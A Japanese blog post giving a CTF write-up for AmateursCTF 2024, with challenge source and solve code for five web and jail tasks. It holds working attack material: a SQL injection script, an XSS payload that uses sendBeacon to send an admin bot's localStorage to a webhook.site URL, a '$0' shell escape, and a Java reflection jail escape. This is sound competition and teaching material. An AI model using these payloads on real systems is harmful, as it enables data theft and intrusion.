st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

AmateursCTF 2024 writeup

4/6 - 4/10という日程で開催された。BunkyoWesternsで参加して6位。なかなかの開催期間の長さだった。


[Web 53] denied (856 solves)

what options do i have?

(URL)

添付ファイル: index.js

以下のようなソースコードが与えられている。GETでアクセスすればCookieにフラグがセットされるが、req.methodGET だとダメだ。どうしろと。

const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  if (req.method == "GET") return res.send("Bad!");
  res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
  res.send('Winner!')
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

HEAD メソッドならばどうだろうかと思いついた。HEAD メソッドではレスポンスボディが得られないけれども、今回フラグはCookieにセットされるので問題ない。試してみると、確かにいけた。

Expressのルーティング周りのコードを見てみると、メソッドが HEAD である場合も GET でアクセスされた場合と同じ扱いをしているようだった。なるほど。

好きなHTTPメソッド発表ドラゴン

CTFが始まってすぐは問題サーバが不安定だったために、すぐにこのコマンドをリモートで試すことはできなかった。後で試そうと思ってほかの問題を見ていると、Satokiさんがいつの間にか通していた。

amateursCTF{s0_m@ny_0ptions...}

[Web 184] one-shot (282 solves)

my friend keeps asking me to play OneShot. i haven't, but i made this cool challenge!

(URL)

添付ファイル: app.py, Dockerfile

以下のようなソースコードが与えられている。重要なのは次のエンドポイントだ:

  • /new_session にアクセスすると新たなセッションが生成され、ランダムなパスワードの入ったランダムなテーブルが作成される
  • /guess でこのパスワードを当てるとフラグが得られる
  • /search からパスワードを曖昧検索できるが、得られるのは最初の1文字のみ。自明なSQLiもある。ただし、この検索は一度しかできない
from flask import Flask, request, make_response
import sqlite3
import os
import re

app = Flask(__name__)
db = sqlite3.connect(":memory:", check_same_thread=False)
flag = open("flag.txt").read()

@app.route("/")
def home():
    return """
    <h1>You have one shot.</h1>
    <form action="/new_session" method="POST"><input type="submit" value="New Session"></form>
    """

@app.route("/new_session", methods=["POST"])
def new_session():
    id = os.urandom(8).hex()
    db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
    db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)")
    res = make_response(f"""
    <h2>Fragments scattered... Maybe a search will help?</h2>
    <form action="/search" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="query" value="">
        <input type="submit" value="Find">
    </form>
""")
    res.status = 201

    return res

@app.route("/search", methods=["POST"])
def search():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
    if searched:
        return "you've used your shot."
    
    db.execute(f"UPDATE table_{id} SET searched = 1")

    query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
    return f"""
    <h2>Your results:</h2>
    <ul>
    {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
    </ul>
    <h3>Ready to make your guess?</h3>
    <form action="/guess" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="password" placehoder="Password">
        <input type="submit" value="Guess">
    </form>
"""

@app.route("/guess", methods=["POST"])
def guess():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone()
    if result != None:
        return flag
    
    db.execute(f"DROP TABLE table_{id}")
    return "You failed. <a href='/'>Go back</a>"

@app.errorhandler(500)
def ise(error):
    original = getattr(error, "original_exception", None)
    if type(original) == sqlite3.OperationalError and "no such table" in repr(original):
        return "that table is gone. <a href='/'>Go back</a>"
    return "Internal server error"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

パスワードの検索が一度しかできず、しかも返ってきたレコードについて最初の1文字しか得られないという制約がつらい。が、UNION SELECT substr(password, 1, 1) FROM table_{id} UNION SELECT substr(password, 2, 1) FROM table_{id} … のように1レコードにつき1文字という形で UNION しまくればよいのでは考えた。

けれども、それだとペイロードが長くなりすぎてあまり美しくない。WITH RECURSIVE で殴ろう。

import re
import httpx

with httpx.Client(base_url='http://one-shot.amt.rs/') as client:
    r = client.post('/new_session')
    id = re.findall(r'id" value="([^"]+)', r.text)[0]
    payload = f"' and 0 == 1 union all select xx from (with recursive u(x) as (values((select password from table_{id})) union all select substr(x,2) from u where x != '') select substr(x,1,1)xx from u where xx != ''); -- "
    
    r = client.post('/search', data={
        'id': id,
        'query': payload
    })
    password = ''.join(re.findall(r'<li>(.)</li>', r.text))
    print(f'{password=}')

    r = client.post('/guess', data={
        'id': id,
        'password': password
    })
    print(r.text)

実行するとフラグ(とフラグじゃないやつ)が得られた。

$ python3 s.py
password='ece7f76c01c14b7de552bd89e26689c6'
<p>amateursCTF{go_union_select_a_life}</p>
<br />
<h3>alternative flags (these won't work) (also do not share):</h3>
<p>
amateursCTF{UNION_SELECT_life_FROM_grass} <br />
amateursCTF{why_are_you_endorsing_unions_big_corporations_are_better} <br />
amateursCTF{union_more_like_onion_*cronch*}  <br />
amateursCTF{who_is_this_Niko_everyone_is_talking_about}
</p>
amateursCTF{go_union_select_a_life}

[Web 302] sculpture (95 solves)

Client side rendered python turtle sculptures, why don't we play around with them.

Remote (for use in admin bot): (問題サーバのURL), (admin botへのreport用のURL)

添付ファイル: index.html, admin-bot-excerpt.js

Skulptによって、Webブラウザ上でPythonコードの実行ができるWebページが与えられている。turtle や標準出力にも対応しているようだ。

index.html を確認すると、標準出力へ出力された文字列は innerHTML でレンダリングされるということがわかる。XSSチャンスだ。

function outf(text) { 
    var mypre = document.getElementById("output"); 
    mypre.innerHTML = mypre.innerHTML + text; 
}function runit() { 
   var prog = document.getElementById("yourcode").value; 
   var mypre = document.getElementById("output"); 
   mypre.innerHTML = ''; 
   Sk.pre = "output";
   Sk.configure({output:outf, read:builtinRead});

また、Webページの読み込み時にクエリパラメータの code からコードを持ってきて実行している様子もわかる。HTMLを出力するコードを実行させればよいのではないか。

document.addEventListener("DOMContentLoaded",function(ev){
    document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code"));
    runit();
});

次のコードをDevToolsで実行し、localStorage を外部に送信させるコードが実行されるようなURLを手に入れる。

location.href = '/?code=' + btoa(`print("<img src=x onerror=\\"navigator.sendBeacon('https://webhook.site/…', JSON.stringify(localStorage))\\">")`).replaceAll('+','%2b')

admin botにそのURLを通報すると、フラグが得られた。

amateursCTF{i_l0v3_wh3n_y0u_can_imp0rt_xss_v3ct0r}

[Jail 207] sansomega (230 solves)

Somehow I think the pico one had too many unintendeds...

So I left some more in :)

(問題サーバの接続情報)

添付ファイル: shell.py, Dockerfile

shell.py は次の通り。入力したシェルスクリプトが /bin/sh で実行されるけれども、20文字以上と長すぎるとダメだし、英大文字小文字やブラケット等の文字は使えない。

#!/usr/local/bin/python3
import subprocess

BANNED = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]'


def shell():
    while True:
        cmd = input('$ ')
        if any(c in BANNED for c in cmd):
            print('Banned characters detected')
            exit(1)

        if len(cmd) >= 20:
            print('Command too long')
            exit(1)

        proc = subprocess.Popen(
            ["/bin/sh", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

        print(proc.stdout.read().decode('utf-8'), end='')

if __name__ == '__main__':
    shell()

シェルスクリプトであることに感謝。$0 には /bin/sh が入っているはずだ。$0 と入力すればシェルが立ち上がるのではないか。試してみると、確かにシェルが立ち上がり、フラグが得られた。

$ nc … 2100
$ $0
cat /app/flag.txt
exit
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}

[Jail 355] javajail2 (54 solves)

okay sorry here's a real jail.

(問題サーバの接続情報)

添付ファイル: main.py

次のようなソースコードが与えられている。ユーザ入力がJavaコードとしてコンパイル・実行されるけれども、import だとか flag.txt だとか使えないワードが色々ある。

#!/usr/local/bin/python3

import subprocess

BANNED = ['import', 'throws', 'new']
BANNED += ['File', 'Scanner', 'Buffered', 'Process', 'Runtime', 'ScriptEngine', 'Print', 'Stream', 'Field', 'javax']
BANNED += ['flag.txt', '^', '|', '&', '\'', '\\', '[]', ':']

print('''
      Welcome to the Java Jail.
      Have fun coding in Java!
      ''')

print('''Enter in your code below (will be written to Main.java), end with --EOF--\n''')

code = ''
while True:
    line = input()
    if line == '--EOF--':
        break
    code += line + '\n'

for word in BANNED:
    if word in code:
        print('Not allowed')
        exit()

with open('/tmp/Main.java', 'w') as f:
    f.write(code)

print("Here's your output:")
output = subprocess.run(['java', '-Xmx648M', '-Xss32M', '/tmp/Main.java'], capture_output=True)
print(output.stdout.decode('utf-8'))

ゴールは flag.txt を読むことにある。色々困りごとはあるが、それぞれ以下のようにして対応した。Javaについてよく知らないので回りくどいことをやっているかもしれない。もっときれいに解けるっぽいし。

なお、わざわざ enum を使って main メソッドを生やしているけれども、これはjavajail1と同様に class が使えないと勘違いしていたためだ。この方法は "java without class" みたいなクエリでググって出てきたページを参考にした。

  • importFile が使えないが、どのようにしてファイルを読むか。リフレクションでなんとかすればよい。Javaのドキュメントとにらめっこしつつ、使えそうなメソッドを探していった
  • [] が使えないので、[ ] とスペースを挟んでいる
  • new byte[] が使えないので、"aaaaa".getBytes() で代替する
  • URL.getContentObject を返す。そのままだと read が呼べないのでわざわざ o という変数に入れている
    • Stream も使えないので結局 oObject で受けるしかなくて、そのためにリフレクションで read を呼んでいる
  • byte[] から String への変換が面倒だったので System.out.printf で代替している

次のコードはこれらをあわせたものだ。

enum Color
{
    RED;
    public static void main(String[ ] args)
    {
        try {
            byte[ ] s = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".getBytes();
            Object o = RED.getClass().getClassLoader().getResource("flag."+"txt").getContent();
            o.getClass().getMethod("read", s.getClass()).invoke(o, s);
            for (int i = 0; i < s.length; i++) System.out.printf("%c", s[i]);
        } catch(Exception e) {}
    }
}

送信するとフラグが得られた。

amateursCTF{r3flect3d_4cr055_all_th3_fac35}